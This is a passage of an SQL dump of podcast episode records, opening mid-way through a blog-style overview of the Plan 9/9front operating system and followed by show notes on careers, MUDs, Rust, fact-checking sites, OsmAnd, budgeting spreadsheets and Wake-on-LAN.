on 9: <code>ed(1)</code>, <code>sam(1)</code>, and <code>acme(1)</code>. There is no <code>vi</code> aside from the MIPS emulator, there is no <code>emacs</code> except for a man page explaining why there is no emacs.</p>\n<p>I have primarily used acme in the past, but sam is a much better editor.</p>\n<p><code>sam</code> is a lot like a graphical version of <code>ed</code>. I still need to learn <code>ed</code> because it\'s the standard editor. Some of the standard <code>vi</code> commands are available and regex works. I like sam quite a lot but it seems to corrupt files when the system crashes.</p>\n<p><code>acme</code> is a window manager, file browser, terminal emulator, and email client that some people use as a text editor. The coolest part about acme is the ability to write arbitrary editor and system commands in the menu bar, highlight them, then middle click to execute those commands.</p>\n<h2 id=\"some-of-the--supported-networking-protocols\">(Some of the ) Supported Networking Protocols</h2>\n<ul>\n<li>IMAP\n<ul>\n<li>good luck</li>\n</ul></li>\n<li>NTP</li>\n<li>IRC\n<ul>\n<li>ircrc</li>\n<li>other non-default implementations exist</li>\n</ul></li>\n<li>FTP</li>\n<li>HTTP\n<ul>\n<li><code>mothra</code> is the standard web browser. It does not support CSS or all of the HTML tags. Obviously, javascript is unsupported.</li>\n<li><code>abaco</code> exists. I\'ve used it a few times. It renders slightly better than mothra but is a pain to use.</li>\n<li>Various inferno vaporware exists but the ports don\'t work</li>\n<li>NetSurf has been ported to 9front by leveraging components of APE. It almost works</li>\n<li><code>hget</code>, like curl</li>\n</ul></li>\n<li>SSH\n<ul>\n<li>it only works in conjunction with the <code>vt(1)</code> command.</li>\n<li>sshfs</li>\n<li>sshnet for proxying traffic</li>\n</ul></li>\n<li>VNC</li>\n<li>Various torrent software (magnet links not supported)</li>\n<li>Drawterm\n<ul>\n<li>no, good luck, you will be laughed at</li>\n</ul></li>\n<li>Of course, 9p</li>\n</ul>\n<h3 id=\"a-security-aside\">A Security aside</h3>\n<p>Various server implementations for these protocols exist but you really shouldn\'t use them on the WAN as they are ancient, unmaintained, unaudited, and easy to exploit. Prime example: the /g/entoomen found a path traversal vulnerability in the 9front httpd server, then leveraged that vuln to exploit a vuln in the authentication system. Not that the boys back home did anything malicious with this bug . . . but the ability to pwn a system by sending cleverly crafted GET requests should tell you enough about the current state of security in 9.</p>\n<ul>\n<li>Firewall\n<ul>\n<li>no</li>\n</ul></li>\n<li>Disk Encryption\n<ul>\n<li>unreliable</li>\n</ul></li>\n<li>Access control\n<ul>\n<li>what?</li>\n</ul></li>\n<li>filesystem\n<ul>\n<li>cwfs has an poorly documented special user called <code>none</code> that is allowed to connect to fossil, cwfs, and maybe hjfs without a password. Set the <code>nonone</code> option in cwfs if you are even thinking about putting 9 on the internet.</li>\n</ul></li>\n</ul>\n<p>Don\'t even think about putting 9 on the internet</p>\n<h2 id=\"unix-compat-layer-ape\">UNIX compat layer (ape)</h2>\n<p>APE is the ANSI POSIX Emulator. It doesn\'t work and is almost entirely empty. Lots of tiny programs to write, not much interest in writing lots of tiny program. There is a general attitude among 9 users that \"9 is unique\" porting POSIX libs to 9 would ruin the appeal. I almost think I agree with this sentiment.</p>\n<h2 id=\"emulation\">Emulation</h2>\n<ul>\n<li>Linux\n<ul>\n<li>don\'t</li>\n</ul></li>\n<li>GameBoy</li>\n<li>GameBoyAdvance</li>\n<li>NES</li>\n<li>SNES</li>\n<li>Sega MegaDrive/Genesis</li>\n<li>c64</li>\n<li>vmx, a PC emulator (effectively virtualization)\n<ul>\n<li>It\'s slow</li>\n<li>it almost works</li>\n<li>it crashes your system</li>\n<li>cwfs gets corrupted</li>\n<li>\"runs\" OpenBSD, Linux, and ancient Windows with graphics support</li>\n</ul></li>\n<li>and also various emulators for obscure architectures</li>\n</ul>\n<h2 id=\"vcs\">VCS</h2>\n<ul>\n<li>Mercurial used to come with 9front but it has been removed.</li>\n<li>CVS does exist but not in the base system.</li>\n<li>A native git implementation exists and is in the base system. It\'s bare bones but it mostly works.</li>\n</ul>\n<h2 id=\"community-maintained-software\">Community Maintained Software</h2>\n<p><a href=\"https://contrib.9front.org\">The 9front community has been collecting known programs for some time</a> and <a href=\"https://wiki.9front.org/extra\">various other community software can be found in the wiki</a>. Both are served as a ports system, similar to a BSD style ports system. There are no binary packages. Makefiles are broken.</p>\n<h2 id=\"programming-languages\">Programming Languages</h2>\n<h3 id=\"mkfiles\">mkfiles</h3>\n<p>9 ships a program called <code>mk(1)</code>. Syntax (in the simplest ways) is identical to UNIX <code>make(1)</code>.</p>\n<h3 id=\"the-absurdities-of-9-c\">The Absurdities of 9 C</h3>\n<p>Plan 9 C is syntactically similar to ANSI C but it varies. The stdlibs on 9 are much simpler than the POSIX monster.</p>\n<pre class=\"c\"><code>/* POSIX C example */\n#include &lt;stdio.h&gt;\n\nint main(){\n    printf(&quot;hello, world\\n&quot;);\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* 9 C example */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(){\n    print(&quot;hello, world\\n&quot;);\n    exits(0);\n}\n</code></pre>\n<p><code>u.h</code> contains CPU specific instructions, <code>libc.h</code> contains all of the system calls, time functions, math functions, unicode functions, and print functions. In contrast to POSIX, functions in 9c return strings instead of ints.</p>\n<pre class=\"sh\"><code># Compiling on UNIX\n$ cc main.c\n$ ./a.out\nhello, world\n$\n</code></pre>\n<pre class=\"sh\"><code># Compiling on 9\n% 6c main.c\n% 6l main.6\n% 6.out\nhello, world\n%\n</code></pre>\n<p>In the 9 compiler example, I\'m using the amd64 compiler and linker. Notice how the <code>6</code> persists as the prefix/suffix to help developers remember which architecture this specific program is written for. Instead of unspecific object files with a <code>.o</code> suffix, the object file\'s suffix is actually representative of what types of opcodes the file contains. Similarly, after linking, the <code>6.</code> prefix tells us that the binary is for an amd64 processor.</p>\n<p>And also, the simplest UNIX program with buffers: read from stdin and write directly to stdout:</p>\n<pre class=\"c\"><code>/* POSIX C */\n#include &lt;stdio.h&gt;\n\nint main(int argc, char *argv[]){\n    char buf[32];\n    size_t bufs = sizeof(char)*32;\n    size_t nread = 0;\n\n    while((nread = fread(buf, 1, bufs, stdin)) &gt; 0){\n        fwrite(buf, 1, nread, stdout);\n    }\n\n    return 0;\n}\n</code></pre>\n<pre class=\"c\"><code>/* Plan 9 C */\n#include &lt;u.h&gt;\n#include &lt;libc.h&gt;\n\nvoid main(int argc, char *argv[]){\n    char buf[32];\n    char bufs = sizeof(char)*32;\n    int nread = 0;\n\n    while((nread = read(0, buf, bufs)) &gt; 0){\n        write(1, buf, nread);\n    }\n\n    exits(0);\n}\n</code></pre>\n<p>In 9, <code>stdin</code> is file descriptor <code>0</code>, <code>stdout</code> is <code>1</code>, and <code>stderr</code> is <code>2</code>.</p>\n<p>And, the binary sizes betwen the two. You probably recognize <code>a.out</code>, this one was compiled with GCC. <code>6.out</code> is an amd64 Plan 9 binary compiled on 9.</p>\n<pre class=\"sh\"><code>$ ls -sh ./*.out\n4.0K ./6.out\n 28K ./a.out\n</code></pre>\n<p>Binaries on plan 9 are statically linked. It\'s somewhat strange to see that a statically linked binary is smaller than a dynamically linked one. Even compiling the plan 9 source on Linux using plan9port yeilds a large binary: 40K.</p>\n<p>I have not written 9C in a long time so I cannot say much more with confidence and authority. Refer to <a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a> for more information.</p>\n<p>The <code>acid(1)</code> debugger exists but it\'s hard to use if you\'re not fluent in assembly.</p>\n<h3 id=\"ancient-go\">Ancient Go</h3>\n<p>Ancient Go once ran on 9. In 2022, you\'re better off just writing C and rc.</p>\n<h2 id=\"wifi\">WiFi</h2>\n<p>Some wifi cards are supported on 9front. My thinkpad x220 uses the iwl drivers. The FQA is somewhat vague when it comes to actually using the drivers. Good luck :)</p>\n<h1 id=\"why-isnt-9-more-popular-if-it-supposedly-improves-on-bad-unix-ideas\">Why isn\'t 9 more popular if it supposedly improves on \"bad Unix ideas\"?</h1>\n<ul>\n<li>Unix is \'just good enough\'</li>\n<li>9 is not \'better enough\' to beat out \'just good enough\'</li>\n<li>Porting software is difficult^impossible because 9 was deliberately written to be <em>not</em> backwards compatible.\n<ul>\n<li>\"If you port it, they will come\"</li>\n</ul></li>\n<li>9 is uncomfortable to use if you have Unix muscle memory</li>\n<li>no modern web browser</li>\n<li>no video games (I\'m pretty sure there are doom and quake source ports though)</li>\n<li>multimedia consumption is hard</li>\n<li>no GNU</li>\n</ul>\n<h1 id=\"why-do-people-use-9-if-its-so-bad\">Why do people use 9 if it\'s so bad?</h1>\n<p>I can\'t be sure about all other ~20 Plan 9 fans in the world, but for myself, it\'s purely out of a genuine curiosity and love for computing. My motivation for learning obscure, unnecessary, and quite frankly boring things related to computers is that it brings me some sense of satisfaction/accomplishment/enjoyment. Linux stopped being fun for me when I came to the realization that all distributions are fundamentally the same. I started exploring the BSD world only to realize that all UNIX-like operating systems are fundamentally the same. Although BSD remains a store of fun for me, I occasionally feel burned out on UNIX even if it\'s an abstract idea/experience/codebase I cherish.</p>\n<p>When I sit down at a computer my goal is always to discover something new, learn a new concept, explore alternative paradigms, and, most of all, to have fun in the process.</p>\n<p>For most people, 9 is a tourist experience. For me, it\'s the final frontier. Although I have yet to learn as much about 9 as I have about UNIX, every time I swap hard drives and boot into 9 I feel a sense of coming home. Sometimes I think I am wilfully resisting becoming a 9 expert because it will result in me struggling to find the next non-bad OS paradigm to explore.</p>\n<p>And when I think about \"using a computer\", what do I really do on the computer? I learn about it, learn about the software running on it, and proceed to write about it so that I can reinforce the ideas in a Feynman-esque way. I\'m not really providing a real tangible value to the world because it\'s purely a \"hey, here\'s the things I learned the hard way so you don\'t have to\".</p>\n<h1 id=\"conclusion\">Conclusion:</h1>\n<blockquote>\n<p>How do I do xyz on 9?</p>\n</blockquote>\n<p>don\'t. search engines won\'t help. Man pages won\'t help. /sys/doc might help. Reading the source code won\'t help. have fun :)</p>\n<p>Or consider:</p>\n<pre class=\"sh\"><code>term% vt -xb\nterm% ssh user@host\n$ tmux a\n$ reset\n# some commands\n$ reset\n# some commands\n$ reset\n</code></pre>\n<p>Alternatively:</p>\n<pre class=\"sh\"><code>term% vncv host:display\n</code></pre>\n<h1 id=\"further-reading\">Further reading:</h1>\n<ul>\n<li><a href=\"https://fqa.9front.org\">9front FQA</a>. Very humorous, good information</li>\n<li>read the papers in <code>/sys/doc</code> or <a href=\"https://doc.cat-v.org/plan_9/2nd_edition/papers/\">on cat-v.org</a></li>\n<li><a href=\"https://youtu.be/6m3GuoaxRNM\">Plan 9: Not dead, Just resting</a></li>\n<li><a href=\"https://youtu.be/Dt3Dr3jUPjo\">A visual demonstration of rio</a></li>\n<li><a href=\"https://youtu.be/dP1xVpMPn8M\">A visual demonstration of acme</a></li>\n<li><a href=\"https://doc.cat-v.org/plan_9/programming/c_programming_in_plan_9\">C Programming in Plan 9 from Bell Labs</a></li>\n<li><a href=\"https://pspodcasting.net/dan/blog/2019/plan9_desktop.html#conclusion\">Plan 9 Desktop Guide</a>. Might be useful for someone. Not too useful for me. Man pages are better.</li>\n<li><a href=\"https://www.youtube.com/user/C04tl3\">C04tl3 youtube channel</a>. Lots of cool videos with information.</li>\n<li><a href=\"https://archive.org/details/plan9designintro\">Introduction to Operating System Abstractions using Plan 9 from Bell Labs </a></li>\n<li><a href=\"https://sdf.org/plan9/\">SDF public Plan 9 server</a></li>\n</ul>\n',406,0,1,'CC-BY-SA','UNIX, Plan 9',0,0,1),
(3688,'2022-09-21','Education, Certifications, and sipping on the Socials',1820,'I discuss the value of an Education, certifications, and a positive Social Media presence.','<p>I have had a lot of questions over the years about how to proceed with a career, education, and certifications. So, I give my take on these and what they mean relative to my life experiences. Individual mileage may vary. I also discuss the need to have a public facing social media presence that is active and consistent. Hide the private Socials and search to see what actually shows up when searching for yourself. Your future employers will. Just sayin\'.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,education,certifications',0,0,1),
(3674,'2022-09-01','Emergency Show posted in 2012. MUD',1241,'In today\'s show klaatu drags us through the mud with his somewhat belated descovery.','<p>\n<strong>MUD</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nA MUD ( originally Multi-User Dungeon, with later variants Multi-User Dimension and Multi-User Domain), is a multiplayer real-time virtual world, usually text-based. MUDs combine elements of role-playing games, hack and slash, player versus player, interactive fiction, and online chat. Players can read or view descriptions of rooms, objects, other players, non-player characters, and actions performed in the virtual world. Players typically interact with each other and the world by typing commands that resemble a natural language.<br />\n<a href=\"https://en.wikipedia.org/wiki/Multi-User_Dungeon\">https://en.wikipedia.org/wiki/Multi-User_Dungeon</a>\n</p>\n\n<p>\nTinTin++, aka tt++, is a free MUD client for Mac OS X, Linux, and Windows. The Windows port named WinTin++ (using the PuTTY derived mintty terminal) is available for those who do not use Cygwin (A Linux/Unix emulator for Windows) and runs on Windows Xp, Windows Vista, and Windows 7. Besides MUDs, TinTin++ also works well with MUSH, Rogue, BBS, and Linux servers.<br />\n<a href=\"http://tintin.sourceforge.net/\">http://tintin.sourceforge.net/</a>\n</p>\n\n<p>\n<strong>Ancient Anguish</strong><br />\n<em>From Wikipedia, the free encyclopedia</em><br />\nAncient Anguish, abbreviated AA, is a fantasy-themed MUD, a text-based online role-playing game. Founded in 1991 by Balz \"Zor\" Meierhans and Olivier \"Drake\" Maquelin, it opened to the public on February 2, 1992. It is free to play, but has been supported by player donations since 1994.<br />\n<a href=\"https://en.wikipedia.org/wiki/Ancient_Anguish\">https://en.wikipedia.org/wiki/Ancient_Anguish</a>\n</p>\n',78,0,0,'CC-BY-SA','RPG,MUD,TinTin++,WinTin++',0,0,1),
(3681,'2022-09-12','Rust 101 Episode 3: Functionally Insane',2481,'In this episode BlacKernel teaches you how to make functions and for loops in rust','<p>In this episode BlacKernel is back! (Although a lot more loopy than I remember being while recording)</p>\n<p>And teaching you how to make functions, for loops, and match statements in Rust.</p>\n<p>Points covered in this episode:</p>\n<ul>\n<li>isize and usize number types in rust</li>\n<li>fn (function) declarations with arguments and return types</li>\n<li>match statements both bare and part of variable assignment</li>\n<li>for _ in 1..x loops. That is for loops over an iterator variable across a range of integers.<br />\n</li>\n</ul>\n<p>Email: izzyleibowitz@pm.me<br />\nMastodon: <a href=\"https://nixnet.social/BlacKernel\" class=\"uri\">https://nixnet.social/BlacKernel</a></p>\n',396,25,1,'CC-BY-SA','rust, for loop, for, match, functions, loops, usize, isize, programming, tutorial',0,0,1),
(3697,'2022-10-04','Mis-information, Dis-information, and Fake News. You are a product and target for all of it.',4297,'Brady and I discuss Mis-information, Dis-information, and Fake News.','<p>Brady and I discuss Mis-information, Dis-information, and Fake News. We discuss what it is, how it is used, and we are all a product and target for all of it. We discuss ways to avoid deception which leads to a philosophical discussion about truth, morals, and ethics. Brady takes a moment on the couch discussing how understanding the matrix for what it is can affect you on a personal level.</p>\n<h2 id=\"links-and-resources\">Links and Resources:</h2>\n<p>Definitely NOT real NEWS, but FUN to read:</p>\n<ul>\n<li><p>The Onion <a href=\"https://www.theonion.com/\" class=\"uri\">https://www.theonion.com/</a></p></li>\n<li><p>The Weekly World News <a href=\"https://weeklyworldnews.com/\" class=\"uri\">https://weeklyworldnews.com/</a></p></li>\n<li><p>Mad Magazine <a href=\"https://www.madmagazine.com/\" class=\"uri\">https://www.madmagazine.com/</a></p></li>\n</ul>\n<h2 id=\"fight-disinformation-with-fact-checking-sites\">Fight Disinformation with Fact Checking Sites:</h2>\n<ul>\n<li><p>Snopes<br />\n(almost everything including politics, history, science, and technology)<br />\nSnopes is one of the oldest fact-checking websites on the internet and it was started by David and Barbara Mikkelson in 1994. Apart from its huge repository of debunked stories, Snopes still tackles fake news and misinformation in a smart way. As fake information is getting more sophisticated in its language and tone, users are easily falling for it. So to counter the misinformation, Snopes offers detailed explanations from genuine sources (like WHO, CDC) and sets the facts straight.<br />\n<a href=\"https://www.snopes.com/\" class=\"uri\">https://www.snopes.com/</a></p></li>\n<li><p>Politifact<br />\n(all about fact-checking political claims)<br />\nPolitiFact is one of the largest political fact-checking newsrooms in the US and for its impressive work in 2008, the website was awarded Pulitzer Prize for National Reporting. It&#x2019;s run by the prestigious Poynter Institute (founder of International Fact-Checking Network) and reporters from the independent Tampa Bay Times.<br />\n<a href=\"https://www.politifact.com/\" class=\"uri\">https://www.politifact.com/</a></p></li>\n<li><p>FactCheck.org<br />\n(political claims, rhetorics, deception, and lies)<br />\nPrimarily deals with political claims and rhetorics. However, the website also tries to bring accountability to public officials by exposing deception and their lies. It&#x2019;s an attempt to bring more factual accuracy to the public discourse which is not just limited to politics, but also extends to TV ads, speeches, interviews, and news releases.<br />\n<a href=\"https://www.factcheck.org/fake-news/\" class=\"uri\">https://www.factcheck.org/fake-news/</a></p></li>\n<li><p>ProPublica<br />\n(deep dive for hidden truth)<br />\nProPublica is an independent investigative online newsroom. More than a fact-checking website, but a portal where you can dive deep and find the hidden truth. For its far-reaching work in the public interest, ProPublica has been awarded several Pulitzer Prizes for public service, explanatory reporting, national reporting, and investigative journalism. As for the coverage, it goes beyond politics and looks into healthcare, education, finances, criminal justice and more. The website is funded by the Knight Foundation, MacArthur Foundation, Ford Foundation, and other few philanthropic institutes.<br />\n<a href=\"https://www.propublica.org/\" class=\"uri\">https://www.propublica.org/</a></p></li>\n<li><p>OpenSecrets<br />\n(politics)<br />\nOpenSecrets finds the effects of money lobbying into electoral politics and fact-checks political speeches and claims. It tracks how a politician is being funded and who are the firms that are funneling money into politics. It was started by the Center for Responsive Politics (CSR) way back in 1983. And as a result of the long operation, OpenSecrets has now one of the largest public databases of donors and political beneficiaries.<br />\n<a href=\"https://www.opensecrets.org/\" class=\"uri\">https://www.opensecrets.org/</a></p></li>\n<li><p>Washington Post Fact Checker<br />\n(critical analysis to what politicians have said this week)<br />\nFact-checking column under diplomatic correspondent, Glenn Kessler. It does not fact-check every claim on politics and economy, instead the website offers critical analysis to what politicians have said this week. It tries to underline facts and context against a seemingly factful narrative.<br />\n<a href=\"https://www.washingtonpost.com/news/fact-checker/\" class=\"uri\">https://www.washingtonpost.com/news/fact-checker/</a></p></li>\n<li><p>Full Fact<br />\n(Fact-checking website focused on the UK and Europe)<br />\nA one-stop online portal where you can find information on a wide variety of topics. Full Fact is quick to debunk claims with well-resourced articles and by citing research papers by academics and professionals. So, no matter if it&#x2019;s a post about technology, medicine or some supernatural power, Full Fact sets the facts straight in a timely manner. It&#x2019;s a team of independent fact-checkers and campaigners who find a multitude of viral posts from social media and expose them to counter misleading people on the internet. Full Fact runs a &#x201C;Viral Posts on Facebook&#x201D; page where it lists out all the outrageous claims and debunks them with detailed explanation and authentic sources.<br />\n<a href=\"https://fullfact.org/\" class=\"uri\">https://fullfact.org/</a> and for most recent <a href=\"https://fullfact.org/latest/\" class=\"uri\">https://fullfact.org/latest/</a></p></li>\n<li><p>Alt News<br />\n(fake claims and political misinformation in India)<br />\nAlt News is also one of the few fact-checking websites in India which is certified by IFCN (International Fact-Checking Network). It&#x2019;s run by Pravda Media Foundation and offers its fact-checking service in both English and Hindi. As for funding, Alt News primarily relies on user donations and other independent media trusts. The website is also in partnership with WhatsApp for busting fake news on its chat platform. Apart from that, Alt News regularly debunks claims made on social media platforms covering science, education, and society at large.<br />\n<a href=\"https://www.altnews.in/\" class=\"uri\">https://www.altnews.in/</a></p></li>\n<li><p>BOOM FactCheck<br />\n(fact-checking website in India)<br />\nThis is a fact-checking website in India that exposes fake news on digital platformsIt. BOOM is a signatory of the IFCN Code of Principles and sticks to a high standard of fact-checking methodology. The website is run by Data journalist, Govindraj Ethiraj who earlier worked at Bloomberg. And like other fact-checking websites, Boom also relies on ads and user donations. Apart from this, Boom has a tie-up with WhatsApp to fight the war of misinformation. Boom offers its service in three languages i.e. English, Hindi, and Bengali. Further, it covers the current news cycle, political rhetorics, viral claims made on social media, urban legends, myths, and rumors.<br />\n<a href=\"https://www.boomlive.in/\" class=\"uri\">https://www.boomlive.in/</a></p></li>\n<li><p>SM Hoax Slayer<br />\n(fake information on social media platforms)<br />\nSM Hoax Slayer is quick to debunk the claim and update the users through its social media channels. According to the founder, the project started as a place to puncture harmless lies, pranks, and rumors, but soon it developed into a full-fledged fact-checking website. Many mainstream newspapers and media houses including Aaj Tak and Navbharat Times cite SM Hoax Slayer as a reliable source for busting fake news. Coming to funding, SM Hoax Slayer is mostly run by volunteers and funded by user donations and ads.<br />\n<a href=\"https://smhoaxslayer.com/\" class=\"uri\">https://smhoaxslayer.com/</a></p></li>\n<li><p>Reuters Fact Check<br />\n(international news fact checking)<br />\n<a href=\"https://www.reuters.com/fact-check\" class=\"uri\">https://www.reuters.com/fact-check</a><br />\n</p></li>\n</ul>\n<h2 id=\"picks-of-the-week\">Picks of the Week:</h2>\n<ul>\n<li><p>Brady\'s Picks</p>\n<ul>\n<li><p>Tobii Pro: Optimizing User Experience and Advertising Research with Eye Tracking<br />\n<a href=\"https://youtu.be/ConsSlIf6n4\" class=\"uri\">https://youtu.be/ConsSlIf6n4</a></p></li>\n<li><p>Hotjar: Website Heatmaps &amp; Behavior Analytics Tools<br />\n<a href=\"https://www.hotjar.com/\" class=\"uri\">https://www.hotjar.com/</a></p></li>\n</ul></li>\n<li><p>Robert\'s Pick:</p>\n<ul>\n<li>House of the Dragon: The Game of Thrones prequel<br />\n<a href=\"https://www.hbo.com/house-of-the-dragon\" class=\"uri\">https://www.hbo.com/house-of-the-dragon</a></li>\n</ul></li>\n</ul>\n<h2 id=\"cool-shit\">Cool Shit:</h2>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,misinformation,disinformation,fakenews',0,0,1),
(3706,'2022-10-17','The Future of Technology',3054,'A philosophical look at the future of technology.','<p>Brady and I discuss people and technology; where it was, where we are, and where we are going. Put on your philosophy hats!</p>\n<h3 id=\"podcast-stuff\">Podcast Stuff:</h3>\n<ul>\n<li><p>Robert actually had an Atari 1200 XL:<br />\n<a href=\"http://oldcomputers.net/atari-1200xl.html\" class=\"uri\">http://oldcomputers.net/atari-1200xl.html</a></p></li>\n<li><p>Ray Ban Smart Glasses:<br />\n<a href=\"https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related\" class=\"uri\">https://www.ray-ban.com/usa/electronics/RW4002%20UNISEX%20ray-ban%20stories%20%7C%20wayfarer-shiny%20black/8056597489478?fbclid=IwAR08oSxzKyvMfsPYKa1PtvVkda6rJtAlAyJ24pDFSCo03tIqaIxDnVC9IWw&amp;cid=PM-SBI_080622-1.US-RayBanStories-EN-B-Related-Exact_RayBan_Related_ray+ban+camera+glasses&amp;gclid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;gclsrc=3p.ds&amp;msclkid=c6b5a6ec15e015a94bb7c5f91c52a69c&amp;utm_source=bing&amp;utm_medium=cpc&amp;utm_campaign=1.US-RayBanStories-EN-B-Related-Exact&amp;utm_term=ray%20ban%20camera%20glasses&amp;utm_content=RayBan_Related</a></p></li>\n<li><p>Google Glass is Back:<br />\n<a href=\"https://www.google.com/glass/start/\" class=\"uri\">https://www.google.com/glass/start/</a></p></li>\n<li><p>Microsoft Research:<br />\n<a href=\"https://www.microsoft.com/en-us/research/about-microsoft-research/\" class=\"uri\">https://www.microsoft.com/en-us/research/about-microsoft-research/</a></p></li>\n<li><p>Microsoft Open Source Blog:<br />\n<a href=\"https://cloudblogs.microsoft.com/opensource/\" class=\"uri\">https://cloudblogs.microsoft.com/opensource/</a></p></li>\n<li><p>Microsoft Open Source Hardware:<br />\n<a href=\"https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/\" class=\"uri\">https://azure.microsoft.com/en-us/global-infrastructure/hardware-innovation/</a></p></li>\n</ul>\n<h3 id=\"picks-of-the-week\">Picks of the Week:</h3>\n<h4 id=\"bradys-picks\">Brady\'s Picks</h4>\n<ul>\n<li>Defeating the Hacker: A non-technical guide to computer security by Robert Schifreen<br />\n<a href=\"https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557\" class=\"uri\">https://www.amazon.com/Defeating-Hacker-non-technical-computer-security/dp/0470025557</a></li>\n</ul>\n<h4 id=\"roberts-pick\">Robert\'s Pick:</h4>\n<ul>\n<li>The Satanic Verses by Salman Rushdie<br />\n<a href=\"https://en.wikipedia.org/wiki/The_Satanic_Verses\" class=\"uri\">https://en.wikipedia.org/wiki/The_Satanic_Verses</a></li>\n</ul>\n<h3 id=\"cool-shit\">Cool Shit:</h3>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,socialmedia,technology,philosophy,future',0,0,1),
(3716,'2022-10-31','How I got in to Tech',531,'My journey in to technology','<p>I share my story about how I got in to technology.</p>\n',405,29,1,'CC-BY-SA','career,technology',0,0,1),
(3683,'2022-09-14','Add a favourite to OSMAnd',97,'Ken keeps forgetting how to add a favourite to OSMAnd','<p>I keep forgetting how to add a favorite to OSMAnd, so I\'ve recorded this show to remind myself how to do it.</p>\n\n<ol>\n<li>Search for a location, either in the Hamburger Menu or clicking the Magnifying glass icon</li>\n<li>Type in your address and select the place</li>\n<li>The screen will appear with a Locator Pin</li>\n<li>On the bottom click Add and Save</li>\n<li>You can optionally include them in a group</li>\n</ol>\n\n<p><img src=\"/eps/hpr3683/hpr3683/01.jpg\" alt=\"Click Search\" /></p>\n<p><img src=\"/eps/hpr3683/hpr3683/02.jpg\" alt=\"Or Menu Search\" /></p>\n<p><img src=\"/eps/hpr3683/hpr3683/03.jpg\" alt=\"Type address eg Amsterdam Centraal\" /></p>\n<p><img src=\"/eps/hpr3683/hpr3683/04.jpg\" alt=\"Locate address, and click Add\" /></p>\n<p><img src=\"/eps/hpr3683/hpr3683/05.jpg\" alt=\"Click Save\" /></p>\n\n<p>\nAbout <a href=\"https://en.wikipedia.org/wiki/OsmAnd\">https://en.wikipedia.org/wiki/OsmAnd</a><br />\n<em>\nOsmAnd is a map and navigation app for Android and iOS. It uses the OpenStreetMap map database for its primary displays, but is an independent app not endorsed by the OpenStreetMap Foundation</em>\n</p>\n<h3>Links</h3>\n<ul>\n<li><a href=\"https://osmand.net/\">https://osmand.net/</a></li>\n<li><a href=\"https://f-droid.org/en/packages/net.osmand.plus/\">https://f-droid.org/en/packages/net.osmand.plus/\"</a></li>\n</ul>\n\n\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Open Street Maps, Android',0,0,1),
(3685,'2022-09-16','Budget and an Android app',122,'Zoho docs for budgeting','<h2 id=\"zoho-sheets\">Zoho sheets</h2>\n<p><a href=\"https://sheet.zoho.com\" title=\"Zoho Spreadsheet\">Zoho Sheets</a></p>\n<h2 id=\"zoho-android-app\">Zoho Android app</h2>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.zoho.sheet.android&amp;gl=US\" title=\"Zoho Sheets - Android app\">Zoho Sheets - Android app</a></p>\n<h4 id=\"places\">Places</h4>\n<ul>\n<li>Dropbox.com</li>\n<li>Box.com</li>\n</ul>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3685/hpr3685/Budget_sample_2022-9-9.ods\" title=\"Budget sample in LibreOffice dated 9-9-2022\">Budget sample from LibreOffice</a></p>\n',318,0,0,'CC-BY-SA','Budget, spreadsheet, LibreOffice, Android',0,0,1),
(3684,'2022-09-15','Wake on Lan',602,'Wake on Lan mother board feature','<h2 id=\"wakeonlan-wol\">WakeOnLAN (WOL)</h2>\n<p>From <a href=\"https://wiki.wireshark.org/WakeOnLAN#:~:text=WakeOnLAN%20is%20the%20protocol%20name%20given%20to%20the,automatically%20powered-down%20because%20of%20its%20power%20management%20features\">wiki.wireshark.org</a></p>\n<blockquote>\n<p><em>WakeOnLAN is the protocol name given to the so-called Magic Packet technology, developed by AMD and Hewlett Packard for remotely waking up a remote host that may have been automatically powered-down because of its power management features. Although power management allows companies and individuals to cut power usage costs, it presents a problem for IT departments especially in being able to quickly and efficiently remotely manage PC\'s, especially during off-hours operation when those PC\'s are most likely to be in a suspended or standby state, assuming power management features are enabled.</em></p>\n</blockquote>\n',129,0,0,'CC-BY-SA','Wake on Lan, wol',0,0,1),
